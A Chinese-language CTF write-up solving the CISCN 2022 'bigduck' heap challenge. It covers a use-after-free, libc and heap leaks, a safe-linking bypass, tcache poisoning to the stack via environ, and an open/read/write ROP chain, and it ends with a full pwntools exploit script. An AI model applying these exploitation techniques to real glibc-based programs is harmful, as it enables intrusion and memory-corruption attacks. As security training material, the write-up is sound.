Featured image of post [CISCN 2022 华东北]bigduck wp

[CISCN 2022 华东北]bigduck wp

字数: 2484

原来堆题可以和栈结合在一起!

题面

rar 压缩包内提供:

1
2
3
4
5
6
7
 Attributes       Size     Date    Time   Name
----------- ----------  ---------- -----  ----
    ..A....    1983576  2022-05-22 00:21  libc.so.6
    ..A....      14472  2022-05-22 00:21  pwn
    ..A....     216192  2022-05-22 00:21  ld.so
----------- ----------  ---------- -----  ----
               2214240                    3

libc.so.6 是 libc2.33。

分析

保护全开

1
2
3
4
5
6
7
8
9
❯ pwn checksec ./pwn
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2022_华东北-bigduck/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

ceccomp 看,关了 execve 系统调用,只能 ORW。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ ceccomp probe ./pwn
[INFO]: Start tracing process 276550
[INFO]: Parsing seccomp filter loaded in process 276550
open      -> ALLOW
openat    -> ALLOW
read      -> ALLOW
write     -> ALLOW
execve    -> KILL
execveat  -> ALLOW
mmap      -> ALLOW
mprotect  -> ALLOW
sendfile  -> ALLOW
ptrace    -> ALLOW
fork      -> ALLOW

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]

  sub_1567();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = recv();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts(s: "Invalid choice");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        del();
      }
    }
  }
}

菜单题分别来看:

add()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int add()
{
  int i; // [rsp+4h] [rbp-Ch]
  void *v2; // [rsp+8h] [rbp-8h]

  v2 = malloc(size: 0x100u);
  for ( i = 0; i <= 19; ++i )
  {
    if ( heap_list[i] == 0 )
    {
      heap_list[i] = v2;
      puts(s: "Done");
      return 1;
    }
  }
  return puts(s: "Empty!");
}

写死 malloc 分配 0x100 了。

del()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int del()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recv();
  if ( v1 <= 20 && heap_list[v1] != 0 )
  {
    free(ptr: (void *)heap_list[v1]);
    return puts(s: "Done");
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

这里 free 完没有把指针置零,存在 UAF。

show() & edit()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recv();
  if ( v1 <= 20 && heap_list[v1] != 0 )
  {
    puts(s: (const char *)heap_list[v1]);
    return puts(s: "Done");
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

int edit()
{
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int buf; // [rsp+Ch] [rbp-4h]

  puts(s: "Idx: ");
  v1 = recv();
  if ( v1 <= 20 && heap_list[v1] != 0 )
  {
    puts(s: "Size: ");
    buf = recv();
    if ( buf > 0x100 )
    {
      return puts(s: "Error");
    }
    else
    {
      puts(s: "Content: ");
      read(a1: heap_list[v1], a2: buf);
      puts(s: "Done");
      return 0;
    }
  }
  else
  {
    puts(s: "Not allow");
    return v1;
  }
}

这两很平常。

有 UAF 但是 execve 被禁,one_gadget 那一套走不了。只能从堆找到栈,改写栈返回地址,而且这道题还有 canary(虽然好像最终实际没有)

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def select(id: int):
    io.recvuntil(b"Choice:")
    io.sendline(str(id).encode())


def add():
    """
    malloc(0x100)
    """
    select(1)


def free(idx: int):
    select(2)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    select(3)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def edit(idx: int, size: int, content: bytes):
    select(4)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.sendline(content)


def debug():
    gdb.attach(
        io,
        gdbscript="""
    decompiler connect ida
    """,
    )

写好框架,因为这道题有 stripped 所以一些 label 要从 ida 拿,就用 decompiler 这个 ida 插件和 gdb 通信获得 label。

environ

栈上有一大块区域用来存储系统变量,在 glibc 中有 environ 全局变量存储了栈上系统变量的地址,它和返回地址的偏移量是固定的,通过 gdb 可以拿到。

通过这个就可以从堆到栈进行攻击了。

首先把 tcache 塞满然后出来一个进入 unsorted bin 拿 libc 地址算 libc 基址,这里有个坑,拿到 libc 地址的最开始是 \x00 用 show 直接不读了:

所以要先把这 00 给改写成其他的,才能把 libc 地址读出来:

1
2
3
4
5
6
7
8
9
for i in range(9):  # 0..8
    add()  # 0
for i in range(8):  # 0..7
    free(i)
edit(7, 1, b"\x01")  # 刚好最开始是 \x00
show(7)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1E0C01
edit(7, 1, b"\x00")  # 恢复
print("libc base baddress =", hex(libc_base))

偏移量用 gdb 动调找 libc 基址直接算。

safe-linking

用 tcache 最开始的那个 chunk 的 key 算 heap 地址,拿到 key 拿来做异或:

1
2
3
show(0)
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base =", hex(heap_base))

拿到 libc 基址后就把要用到的函数地址和 gadget 取了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
environ = libc_base + libc.sym["environ"]
print("environ address =", hex(environ))

ret = libc_base + 0x26699
pop_rdi = libc_base + 0x28A55
pop_rsi = libc_base + 0x2A4CF
pop_rdx = libc_base + 0xC7F32

open_addr = libc_base + libc.sym["open"]
write_addr = libc_base + libc.sym["write"]
read_addr = libc_base + libc.sym["read"]

之后直接把 tcache 的前位改写成 environ 把它地址搞到来得到栈地址:

改写 6 后的 bin 布局 通过

1
2
3
4
5
edit(6, 0x8, p64(environ ^ heap_base))
add()  # 9
add()  # 10
show(10)
stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

这样拿到栈地址就可以去得到返回地址,但这里有个坑:

tcache aligned

我们算出来 environ 距栈上返回地址为 0x120,这样拿到的地址为:0x7ffffdf1aa28,但当你 malloc 取出的时候 libc 直接报没对齐给你掐断了……

1
malloc(): unaligned tcache chunk detected

这是在 glibc 2.32 新引入的检查:取出的地址需要能被 16 位整除,所以还要再往前作偏移才能取出不触发这个检查,我最后再往前 0x18 字节是可以的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e))) // 对齐检查
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *) e;
}

接着再往 tcache 加数据然后取出该地址,接着就是栈上 ORW。

1
2
3
4
5
6
7
8
ret_addr = stack - 0x120 - 0x18
print("return address =", hex(ret_addr))
free(9)

debug()
edit(9, 0x10, p64(ret_addr ^ heap_base))
add()  # 11
add()  # 12

取出来 12 即是栈上地址,距离 return address 偏移 24 字节,理论上是有 canary 区,但实际可以直接覆盖。
可以根据 ida 反汇编的 label 对存堆地址的指针数组做检查:

ORW

接下来就是构造 open, read, write。先在堆区选取块地方做缓冲区来存文件名、文件内容。 因为之前拿到堆基址了,所以取堆基址往后 0x2000 就合适。

1
2
3
4
read(0, heapbase+0x2000, 0x8);
open(heapbase+0x2000, 0, 0);
read(3, heapbase+0x2100, 0x30);
write(1, heap_base+0x2100, 0x30);

这一条 ROP,需要 rdi, rsi, rdx 寄存器,上面 libc 都能拿到。最终直接写入 12 的位置然后用 sendline 给 read 传 flag 路径就好了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

heap_base = heap_base << 12
# read (0, heap_base+0x2000, 0x8)
payload = (
    cyclic(24)
    + p64(pop_rdi)
    + p64(0)
    + p64(pop_rsi)
    + p64(heap_base + 0x2000)
    + p64(pop_rdx)
    + p64(0x8)
    + p64(read_addr)
)

# open(heap_base + 0x2000, 0, 0)
payload += (
    p64(pop_rdi)
    + p64(heap_base + 0x2000)
    + p64(pop_rsi)
    + p64(0)
    + p64(pop_rdx)
    + p64(0)
    + p64(open_addr)
)

# read(3, heap_base + 0x2100,0x30  )
payload += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(heap_base + 0x2100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(read_addr)
)

# write(1, heap_base + 0x2100, 0x30)
payload += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(heap_base + 0x2100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(write_addr)
)

edit(12, 0x100, payload)

io.send(b"/flag\x00")

这样就能读出 flag 了。

偏移量用 cyclic 算一下就好,很简单,如果直接用 stack 动调似乎是看不到的,因为内部好多次函数调用过程。

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *

io = process("./pwn")
libc = ELF("./libc.so.6")

context.log_level = "debug"


def select(id: int):
    io.recvuntil(b"Choice:")
    io.sendline(str(id).encode())


def add():
    """
    malloc(0x100)
    """
    select(1)


def free(idx: int):
    select(2)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    select(3)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())


def edit(idx: int, size: int, content: bytes):
    select(4)
    io.recvuntil(b"Idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.sendline(content)


def debug():
    gdb.attach(
        io,
        gdbscript="""
    decompiler connect ida
    """,
    )


for i in range(9):  # 0..8
    add()  # 0
for i in range(8):  # 0..7
    free(i)
show(0)
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base =", hex(heap_base))
edit(7, 1, b"\x01")  # 刚好最开始是 \x00
show(7)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1E0C01
edit(7, 1, b"\x00")  # 恢复
print("libc base baddress =", hex(libc_base))

environ = libc_base + libc.sym["environ"]
print("environ address =", hex(environ))

ret = libc_base + 0x26699
pop_rdi = libc_base + 0x28A55
pop_rsi = libc_base + 0x2A4CF
pop_rdx = libc_base + 0xC7F32

open_addr = libc_base + libc.sym["open"]
write_addr = libc_base + libc.sym["write"]
read_addr = libc_base + libc.sym["read"]

edit(6, 0x8, p64(environ ^ heap_base))
add()  # 9
add()  # 10
show(10)
stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("stack address =", hex(stack))
ret_addr = stack - 0x120 - 0x18
print("return address =", hex(ret_addr))
free(9)

debug()
edit(9, 0x10, p64(ret_addr ^ heap_base))
add()  # 11
add()  # 12
debug()

heap_base = heap_base << 12
# read (0, heap_base+0x2000, 0x8)
payload = (
    cyclic(24)
    + p64(pop_rdi)
    + p64(0)
    + p64(pop_rsi)
    + p64(heap_base + 0x2000)
    + p64(pop_rdx)
    + p64(0x8)
    + p64(read_addr)
)

# open(heap_base + 0x2000, 0, 0)
payload += (
    p64(pop_rdi)
    + p64(heap_base + 0x2000)
    + p64(pop_rsi)
    + p64(0)
    + p64(pop_rdx)
    + p64(0)
    + p64(open_addr)
)

# read(3, heap_base + 0x2100,0x30  )
payload += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(heap_base + 0x2100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(read_addr)
)

# write(1, heap_base + 0x2100, 0x30)
payload += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(heap_base + 0x2100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(write_addr)
)

edit(12, 0x100, payload)

io.send(b"/flag\x00")

io.interactive()

参考资料

  1. environ泄露栈地址+沙盒堆
  2. glibc-2.32 malloc(): unaligned tcache chunk detected